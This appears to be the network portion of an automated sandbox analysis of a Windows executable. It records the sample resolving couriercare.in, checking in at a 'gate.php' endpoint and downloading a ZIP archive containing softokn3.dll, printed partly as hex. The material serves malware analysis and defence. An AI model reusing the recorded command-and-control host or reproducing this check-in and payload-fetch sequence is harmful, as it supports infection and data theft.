Mar 19, 2024 08:56:53.968353033 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968394995 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968437910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968523979 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968569994 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968622923 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968636036 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968668938 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968679905 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968718052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968745947 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968759060 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968790054 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968821049 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968866110 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968897104 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968938112 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.968940973 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968982935 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.968992949 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969038010 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969150066 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969196081 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969206095 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969253063 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969265938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969310999 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969352961 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969398975 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969429016 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969472885 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969490051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969525099 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969532967 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969562054 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969585896 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969633102 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969643116 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969686985 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969696045 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969713926 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969738007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969750881 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969822884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969836950 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969871044 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969901085 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.969944000 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.969991922 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970036983 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970047951 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970063925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970087051 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970105886 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970120907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970164061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970194101 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970235109 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970277071 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970321894 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970352888 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970396042 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970426083 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970472097 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970498085 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970549107 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970599890 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970644951 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970659971 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970706940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970710993 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970755100 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970774889 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970820904 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970869064 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.970912933 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.970969915 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971014023 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971043110 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971087933 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971097946 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971141100 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971179008 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971221924 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971277952 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971291065 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971323967 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971366882 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971411943 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971422911 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971466064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971492052 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971534967 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971563101 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971607924 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971699953 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971713066 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971745014 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971803904 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971849918 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971878052 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971920013 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.971952915 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971965075 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.971996069 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972033978 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972074986 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972124100 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972168922 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972187996 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972235918 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972265005 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972294092 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972307920 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972326040 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972335100 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972372055 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972388983 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972433090 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972455025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972496033 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972537041 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972582102 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972610950 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972640038 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972651958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972671032 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972681999 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972718954 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972732067 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972770929 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972773075 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972806931 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972834110 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972865105 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.972877026 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.972903013 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.187387943 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.187433958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.304382086 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.304568052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.304621935 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.304677010 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.304883957 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.304941893 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.345216036 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.345285892 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.421736956 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.421751022 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.421897888 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.421902895 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.421971083 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.422166109 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.422264099 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.422342062 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.422414064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.462264061 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.462308884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.462346077 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.462373972 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.539150953 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.539170980 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.539242029 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.539383888 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.539444923 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.539496899 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.539534092 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.539542913 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:55.539845943 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.539906979 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.540128946 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.540241003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.540559053 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.540858030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.540916920 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.540956974 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.541188955 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.541457891 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.541814089 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.541870117 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.542030096 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.579297066 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.579389095 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.579442978 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.579618931 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.656222105 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.656246901 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.656469107 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.656610966 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.656657934 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:55.656845093 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:56.329907894 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:56.329973936 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:57.245389938 CET	49729	80	192.168.2.4	192.187.112.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2024 08:56:52.298258066 CET	51556	53	192.168.2.4	1.1.1.1
Mar 19, 2024 08:56:52.508091927 CET	53	51556	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2024 08:56:52.298258066 CET	192.168.2.4	1.1.1.1	0x9267	Standard query (0)	couriercare.in	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2024 08:56:52.508091927 CET	1.1.1.1	192.168.2.4	0x9267	No error (0)	couriercare.in		192.187.112.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

couriercare.in

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	192.187.112.99	80	6728	C:\Users\user\Desktop\Uin5FyPXbS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2024 08:56:52.630240917 CET	100	OUT	GET /18/gate.php HTTP/1.1 Host: couriercare.in Connection: Keep-Alive Cache-Control: no-cache
Mar 19, 2024 08:56:52.754111052 CET	409	IN	HTTP/1.1 200 OK Date: Tue, 19 Mar 2024 07:56:52 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=47b7a394185c4f184df64c6e6d49f0a9; path=/ Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 63 0d 0a 4d 58 77 78 66 44 46 38 4d 58 77 78 66 44 56 78 52 47 78 51 64 56 5a 4c 62 31 4a 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 1cMXwxfDF8MXwxfDVxRGxQdVZLb1J80
Mar 19, 2024 08:56:52.995181084 CET	124	OUT	GET /request HTTP/1.1 Host: couriercare.in Cache-Control: no-cache Cookie: PHPSESSID=47b7a394185c4f184df64c6e6d49f0a9
Mar 19, 2024 08:56:53.114025116 CET	1286	IN	HTTP/1.1 200 OK Date: Tue, 19 Mar 2024 07:56:53 GMT Server: Apache Last-Modified: Mon, 21 Feb 2022 23:34:00 GMT Accept-Ranges: bytes Content-Length: 1565849 Data Raw: 50 4b 03 04 14 00 00 00 08 00 0d 7a 3e 54 c5 85 06 76 05 31 01 00 d0 35 02 00 0c 00 00 00 73 6f 66 74 6f 6b 6e 33 2e 64 6c 6c ec 5b 7d 78 14 45 9a ef 9e 99 84 49 98 64 1a 48 30 3c 04 09 6c f0 b2 8a 18 18 58 12 09 18 20 9d 8d 42 60 d8 81 99 04 c8 07 5f 3a 8e 01 42 9c c6 9c 4f 50 d8 c9 28 b3 cd 78 78 8b 0a b7 ec 0a 0a 1e 77 b2 ae ab a0 39 37 a7 e3 05 49 60 05 f9 d2 45 c5 5d 5c 61 af 71 b2 4b 74 73 31 ba 39 fa de aa ea ee 99 ae ee e4 f4 b9 7f 8f e7 c1 aa a9 fe d5 fb fe de 8f 7a ab aa 1b 2b 97 ef 64 ac 0c c3 d8 e0 af 2c 33 4c 1b 43 fe 94 32 df e2 0f cb 30 99 e3 df c8 64 8e a4 9d 9a d0 c6 2e 3c 35 61 a9 ff fe 07 f3 1a 9b 36 de d7 b4 6a 7d de 9a 55 1b 36 6c 0c e6 ad 5e 97 d7 24 6c c8 bb 7f 43 5e d9 62 4f de fa 8d 6b d7 4d c9 c8 48 cf 57 44 3c d7 90 9f fb a7 8c 7b 16 ab 7f af 0b 1f 2e fe 1c da bb 36 2e 58 74 05 b7 77 2b ed e2 45 dd b8 5d b4 e8 cf d0 1e 5b 4f 9e df be 61 c1 a2 ab 78 ee 82 c5 8f e0 df 8b 16 7d 89 db 7b 16 fd 27 6e 8f 2e 26 6d 05 fe fd a3 fb d7 f8 91 1e d5 04 37 cf 30 0b d9 14 e6 ad d5 f1 15 ea d8 65 66 e2 84 e1 6c e6 70 e6 35 30 70 35 19 7b a6 1d fa 1c 74 ce b0 e8 27 87 fb 16 86 49 65 f0 6f ad 65 dc 16 ec cc b4 5f 5b e0 71 29 99 c4 31 4c a2 25 0d 67 b5 30 87 a0 6d 83 b6 0b 0d 16 5a 98 66 6b 92 6f 73 2c cc 99 71 28 10 16 a6 3e 13 d4 de 60 99 a5 cc e0 7f 0a 64 56 1f 33 e0 d9 60 19 1c 3f 25 b8 ae 39 08 ed 6f 8f 10 8a d8 56 9b 1e 93 c7 30 f5 53 9a d6 ae 0a ae 62 98 f4 32 c5 f6 72 68 df 60 93 61 48 6f e9 14 02 63 98 61 68 a2 45 91 65 a1 71 b1 29 4d 0f 36 ad 61 18 62 6b a1 82 b3 19 70 a5 53 9a d6 35 6c 5c c3 60 db 91 0f 30 47 bb 01 37 8f f9 ff 3f ff a7 3f cb c4 ee fd 2b 27 5a b8 70 4c 18 29 cd cc 62 98 70 2c 68 73 c5 6a 3a f0 68 8d bc ef 65 56 07 1a 25 8d 24 a0 94 50 97 9c 40 b5 eb 51 99 52 f7 28 84 12 1c 2a 00 a5 59 4d 87 4e d0 89 51 26 82 da 58 8a d3 f3 a3 0c 9c ea 9b 75 72 b6 99 c9 69 65 28 42 2b 08 a1 34 55 46 0b c5 66 96 99 94 ad 20 25 21 22 87 88 18 8e 47 e4 7d 05 40 b5 23 41 f4 9b 91 84 28 08 e8 50 10 3b 2c 14 89 0f 46 ea bd b2 d3 82 bc 12 9a 84 7e 32 fe 77 cf b1 9c 9c 5d 02 ff ad 16 33 aa d0 9c 13 41 07 c0 ed 4b e4 ec 95 68 34 34 09 8d 32 5e df 9b 31 f8 f9 56 3d fc 38 78 f0 60 5d 6d 87 ce 63 9b 46 1a a3 b8 d2 42 45 71 e1 48 13 73 fd 34 df 5b 28 be f5 16 43 14 ad 66 82 d6 d2 82 3e 19 a1 17 e4 b6 1a 04 bd 31 c2 44 50 85 95 e2 bd cb 0c 55 45 a3 36 98 a1 96 5a a9 d4 aa 18 61 4c 2d bf 4e ce 2d 26 72 ea 83 3a cb ac 23 f4 79 d5 40 99 f5 19 67 22 a2 51 07 89 99 41 26 eb 20 3f 37 83 14 e8 20 0f 9b 41 38 1d c4 67 02 d9 77 88 4e 8d a9 66 82 b2 74 90 4c 33 48 8e 0e 12 77 9a e8 ba 40 17 93 77 cc 50 17 69 d4 b3 66 a8 4b 34 ea ef cd 50 a5 74 6a 78 cc 50 25 34 ea 76 33 d4 4a 1a 35 cc 0c d5 45 f3 fa 34 d3 04 75 86 ae 73 bf c9 34 ae da 02 7a 19 3d 9d a9 5f 46 d3 8d eb f1 41 33 6d 03 16 4a 5b a5 89 b6 c9 b4 b6 02 4a 5b 99 51 5b 8a 99 b6 52 5a d0 1f 32 f4 82 8a 8c 82 da 33 4c 04 b5 d1 a9 f9 b4 19 ea 08 8d 6a 34 43 1d a6 51 f7 98 a1 5e a6 a9 e7 53 d4 63 0c 45 3d 53 62 29 48 bb 11 f2 7b 87 1e d2 45 43 20 fe 0e 63 44 de 4d da 7e 46 48 7b 08 c2 ea 8a a9 fb 4b 1b bd c9 6d a6 f4 1c 33 52 f1 50 90 dd 46 48 21 05 d9 65 84 64 50 90 7d 46 83 3e 1f 6e 34 e8 00 43 af ff e1 26 41 d8 a1 33 fb b9 e1 b4 d9 3b 69 b3 1f 1d ae 67 b3 d7 48 78 25 05 69 b0 18 20 c5 14 a4 d1 98 a5 a3 cd e8 66 d1 0b be 27 dd 04 95 43 a3 4e 9a a1 7a e9 2c 3d 60 86 ca a5 8b c7 23 e9 06 5f d7 57 e8 e4 ac 34 91 53 bf 54 6f 7f ba 7e 27 5b 48 19 3f c6 4c 84 Data Ascii: PKz>Tv15softokn3.dll[}xEIdH0<lX B`_:BOP(xxw97I`E]\aqKts19z+d,3LC20d.<5a6j}U6l^$lC^bOkMHWD<{.6.Xtw+E][Oax}{'n.&m70eflp50p5{t'Ieoe_[q)1L%g0mZfkos,q(>`dV3`?%9oV0Sb2rh`aHocahEeq)M6abkpS5l\`0G7??+'ZpL)bp,hsj:heV%$P@QR(*YMNQ&Xurie(B+4UFf %!"G}@#A(P;,F~2w]3AKh442^1V=8x`]mcFBEqHs4[(Cf>1DPUE6ZaL-N-&r:#y@g"QA& ?7 A8gwNftL3Hw@wPifK4PtjxP%4v3J5E4us4z=_FA3mJ[J[Q[RZ23Lj4CQ^ScE=Sb)H{EC cDM~FH{Km3RPFH!edP}F>n4C&A3;igHx%i f'CNz,=`#_W4STo~'[H?L
Mar 19, 2024 08:56:53.114089966 CET	1286	IN	Data Raw: 5b c7 a3 2f cd c8 a3 48 27 e4 42 9a 89 90 32 1d 8f 5f a7 e9 79 94 50 3c 9e 34 13 51 aa 83 6c 30 81 ec 73 b0 89 b4 1a 29 2d 48 33 1c d7 6c 6c f2 69 ef d6 34 dd 69 8f 43 a7 3d 9d 92 34 33 25 76 3a cc 9f d9 4d 50 d3 e9 9d e4 df cd 50 93 69 d4 33 66 Data Ascii: [/H'B2_yP<4Ql0s)-H3lli4iC=43%v:MPPi3f(;dQP5OafIJ>4CeWPy4jQ88w1im:9ffK3Tze[j,-43QptDn5jJ_)#qcw8_B).t
Mar 19, 2024 08:56:53.114109039 CET	1286	IN	Data Raw: 1c f7 f9 2f 2a 4c 47 5b 95 31 60 7f 45 19 b3 28 ec 01 e8 46 cf b0 18 2f 2a 1a 1e b0 44 3e 8a e4 11 73 5a 50 66 f4 bf af cf 8c d0 b1 06 f2 04 9b 53 90 6c 4e cb 3f 25 9b b3 42 aa 8b 0e 11 c9 1c 58 a2 da 62 24 31 b5 fb 1b 2f 0c 16 50 46 57 08 46 aa Data Ascii: /LG[1`E(F/D>sZPfSlN?%BXb$1/PFWF&C@w2Q0,MK{cjJy,QTIdRD?WMoDY@3bqVVNxp>!.Z@3_(4>yZ,&JBIM0ytZ#=.
Mar 19, 2024 08:56:53.114191055 CET	1286	IN	Data Raw: 52 95 7c 18 89 94 3f 54 04 1a 26 b5 60 76 3d d5 66 91 ed 19 24 b2 c8 41 7d 5b 35 45 de 00 43 d6 a8 74 29 25 91 ef c3 da ce c0 cc f8 96 6d 73 96 cd f7 9c 0e 4e df 36 c7 8b da c9 d2 64 f2 c5 61 6d 68 8e d5 17 bc 2d 34 c7 16 bc 45 b7 e9 dc 5f 44 96 Data Ascii: R\|?T&`v=f$A}[5ECt)%msN6damh-4E_Dn\|s:e~h%I/YG**9^qUrjLb=OQ'[C[,Ae&D0X`n2(WNNzsnesQkA.%uuIZGu
Mar 19, 2024 08:56:53.114238024 CET	1286	IN	Data Raw: 7a 95 44 e0 5b 7d 38 0d 22 42 0c a2 4d 82 7e 61 1a 6e 2e 91 84 b8 42 52 a0 9b c4 be 77 bd 12 ed c2 20 89 f6 b1 80 0d 45 fb 1c 93 14 ed 3f 01 bf 62 be cd d9 7a 11 77 da 9d ad ef 41 67 02 bf 0f dc ee 3f 8b ca 9a e2 62 9f 34 ff 1c de 26 dc d2 4b 29 Data Ascii: zD[}8"BM~an.BRw E?bzwAg?b4&K)]X(e(2k2ot>z\| U)L~82d8?e\-WVo]'&:O~`}#5CD%PTT*{{pVWVUvUNun~::h
Mar 19, 2024 08:56:53.114278078 CET	1286	IN	Data Raw: c1 b8 cb cb 94 1b 75 33 aa 8f 02 64 46 75 1b 14 25 35 a1 69 bc 97 dd 0c 2f 24 08 99 66 00 ed 92 9b 92 31 71 60 97 c9 21 90 85 53 86 79 93 4f e9 67 b5 37 72 4b aa 5d df 33 a4 ba 02 07 f2 c8 7e c3 f7 ec a8 ce f4 f9 d9 8f 90 48 27 fd cc 4c c5 ff 5f Data Ascii: u3dFu%5i/$f1q`!SyOg7rK]3~H'L_9A)4KnXgF_V1A"ut!&b@,V7@@~4TMo3R5e5-)hh4CQ94THv&@z3PBV
Mar 19, 2024 08:56:53.114356995 CET	1286	IN	Data Raw: 17 16 d8 e3 4b b5 91 44 68 c2 7e b9 94 a6 e0 60 b3 b2 63 71 c6 ee 1e ed d2 f6 b5 6f af cd d8 d7 6c 68 52 e7 0f 84 73 9b 9d aa 5c 55 0a f9 94 8f e4 15 53 e4 5b cb e5 15 8b e4 5b 97 84 cd 0b e5 60 89 94 6c 5b 77 ab b5 f3 0b 82 f5 e8 c8 42 04 78 3d Data Ascii: KDh~`cqolhRs\US[[`l[wBx=ix\|DtpF=UaDjQyT0($ cp$XSkSEl*t-,0)_b+~E?%'A9/gTuJbS.Bd.TII,
